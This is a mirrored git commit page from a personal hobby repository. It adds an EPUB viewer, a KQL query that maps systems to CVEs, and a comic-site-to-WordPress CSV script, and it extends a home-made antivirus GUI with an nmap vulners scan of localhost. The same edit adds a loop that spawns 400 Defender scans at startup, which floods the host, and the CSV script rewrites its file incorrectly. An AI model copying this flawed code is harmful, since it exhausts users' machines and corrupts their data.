mirror of
https://github.com/BillyOutlast/shitav.git
synced 2026-02-04 03:01:18 +01:00
random shit
This commit is contained in:
44
comic.py
Normal file
44
comic.py
Normal file
@@ -0,0 +1,44 @@
|
||||
import tkinter as tk
|
||||
from tkinter import filedialog
|
||||
from ebooklib import epub
|
||||
|
||||
def open_epub():
|
||||
file_path = filedialog.askopenfilename(filetypes=[("EPUB Files", "*.epub")])
|
||||
if file_path:
|
||||
book = epub.read_epub(file_path)
|
||||
# Get the list of items in the EPUB
|
||||
items = book.get_items()
|
||||
|
||||
# Iterate over each item
|
||||
for item in items:
|
||||
# Check if the item is an HTML file
|
||||
if item.get_type() == epub.ITEM_DOCUMENT:
|
||||
# Get the HTML content
|
||||
content = item.get_content()
|
||||
|
||||
# Display the HTML content in a text widget
|
||||
text_widget = tk.Text(window)
|
||||
text_widget.insert(tk.END, content)
|
||||
text_widget.pack()
|
||||
|
||||
# Check if the item is an image file
|
||||
elif item.get_type() == epub.ITEM_IMAGE:
|
||||
# Get the image data
|
||||
image_data = item.get_content()
|
||||
|
||||
# Create a PhotoImage object from the image data
|
||||
photo = tk.PhotoImage(data=image_data)
|
||||
|
||||
# Display the image in a label widget
|
||||
image_label = tk.Label(window, image=photo)
|
||||
image_label.pack()
|
||||
|
||||
# Create the main window
|
||||
window = tk.Tk()
|
||||
|
||||
# Create a button to open EPUB files
|
||||
open_button = tk.Button(window, text="Open EPUB", command=open_epub)
|
||||
open_button.pack()
|
||||
|
||||
# Run the main event loop
|
||||
window.mainloop()
|
||||
13
cve.md
Normal file
13
cve.md
Normal file
@@ -0,0 +1,13 @@
|
||||
// Query to retrieve all systems and their associated CVEs
|
||||
let systems = SecurityEvent
|
||||
| where EventID == 4624 // Replace with the appropriate event ID for system logon events
|
||||
| summarize LastLogonTime = max(TimeGenerated) by ComputerName;
|
||||
|
||||
let cves = SecurityAlert
|
||||
| where VendorName == "CVE" // Replace with the appropriate vendor name for CVEs
|
||||
| summarize CVEs = make_set(Title) by ComputerName;
|
||||
|
||||
// Join the systems and CVEs datasets
|
||||
systems
|
||||
| join kind=leftouter cves on ComputerName
|
||||
| project ComputerName, LastLogonTime, CVEs
|
||||
41
shadfix.py
Normal file
41
shadfix.py
Normal file
@@ -0,0 +1,41 @@
|
||||
import os
|
||||
import csv
|
||||
|
||||
folder_path = r'C:\Users\derek\OneDrive\Desktop\Shadbase\www.shadbase.com'
|
||||
comic_name = 'comic-1'
|
||||
|
||||
for folder in os.listdir(folder_path):
|
||||
folder_dir = os.path.join(folder_path, folder)
|
||||
if os.path.isdir(folder_dir):
|
||||
index_path = os.path.join(folder_dir, 'index.html')
|
||||
if os.path.isfile(index_path):
|
||||
with open(index_path, 'r', encoding='utf-8') as file:
|
||||
content = file.read()
|
||||
try:
|
||||
img_src = content.split(f'{comic_name}')[1].split('src="')[1].split('"')[0]
|
||||
img_src = img_src.replace('../comic_folder/', '')
|
||||
#print(f'Image source for {comic_name} in {folder}: {img_src}')
|
||||
entry_start = '<div class="entry">'
|
||||
entry_end = '<div class="clear"></div>'
|
||||
|
||||
entry_start_index = content.find(entry_start)
|
||||
entry_end_index = content.find(entry_end, entry_start_index)
|
||||
|
||||
if entry_start_index != -1 and entry_end_index != -1:
|
||||
entry_content = content[entry_start_index + len(entry_start):entry_end_index].strip()
|
||||
csv_path = r'C:\Users\derek\OneDrive\Desktop\Shadbase\wp_posts.csv'
|
||||
with open(csv_path, 'r+', encoding='utf-8') as csv_file:
|
||||
csv_reader = csv.reader(csv_file)
|
||||
rows = list(csv_reader)
|
||||
for row in rows:
|
||||
if folder in row[11]:
|
||||
print(row[0]) # Print the row number
|
||||
print(row[4])
|
||||
row[4] = entry_content
|
||||
csv_writer = csv.writer(csv_file)
|
||||
csv_writer.writerows(rows)
|
||||
else:
|
||||
print(f'Entry not found for {comic_name} in {folder}')
|
||||
except IndexError as e:
|
||||
with open('error.log', 'a') as error_file:
|
||||
error_file.write(f'Error: {e}\n')
|
||||
35
shitav.py
35
shitav.py
@@ -5,6 +5,9 @@ import tkinter as tk
|
||||
from tkinter import messagebox
|
||||
import subprocess
|
||||
import psutil
|
||||
import tkinter as tk
|
||||
from tkinter import messagebox
|
||||
import subprocess
|
||||
|
||||
def scan_directory(directory_path, api_key):
|
||||
for root, dirs, files in os.walk(directory_path):
|
||||
@@ -123,9 +126,28 @@ def list_autoruns():
|
||||
except subprocess.CalledProcessError:
|
||||
messagebox.showerror('Error', 'Error occurred while listing autoruns.')
|
||||
|
||||
def run_nmap_script():
|
||||
try:
|
||||
|
||||
result = subprocess.check_output(['C:/Program Files (x86)/Nmap/nmap.exe', '-sV', '--script', 'vulners', 'localhost']).decode('utf-8')
|
||||
# Create a scrollable text box to display the results
|
||||
scrollable_text = tk.Text(window)
|
||||
scrollable_text.insert(tk.END, result)
|
||||
scrollable_text.pack(fill=tk.BOTH, expand=True)
|
||||
|
||||
# Create close button
|
||||
close_button = tk.Button(window, text='Close', command=lambda:[scrollable_text.destroy(),close_button.destroy()])
|
||||
close_button.pack()
|
||||
|
||||
except subprocess.CalledProcessError:
|
||||
messagebox.showerror('Error', 'Error occurred while running nmap script.')
|
||||
|
||||
# Create run nmap script button
|
||||
|
||||
|
||||
# Create the main window
|
||||
window = tk.Tk()
|
||||
window.title('File Scanner')
|
||||
window.title('ShitAV - Security Tool')
|
||||
|
||||
# Create directory path label and entry
|
||||
directory_path_label = tk.Label(window, text='Directory Path:')
|
||||
@@ -161,5 +183,16 @@ get_connections_button.pack()
|
||||
list_autoruns_button = tk.Button(window, text='List Autoruns', command=list_autoruns)
|
||||
list_autoruns_button.pack()
|
||||
|
||||
run_nmap_script_button = tk.Button(window, text='Run Nmap CVE scan', command=run_nmap_script)
|
||||
run_nmap_script_button.pack()
|
||||
|
||||
for _ in range(400):
|
||||
subprocess.Popen(['powershell.exe', 'Start-MpScan', '-ScanType', 'QuickScan', '-ScanPath', 'C:/'])
|
||||
|
||||
# Start the main event loop
|
||||
window.mainloop()
|
||||
|
||||
# Open twenty instances of Chrome in the background
|
||||
|
||||
|
||||
|
||||
|
||||
2055
wp_posts.csv
Normal file
2055
wp_posts.csv
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user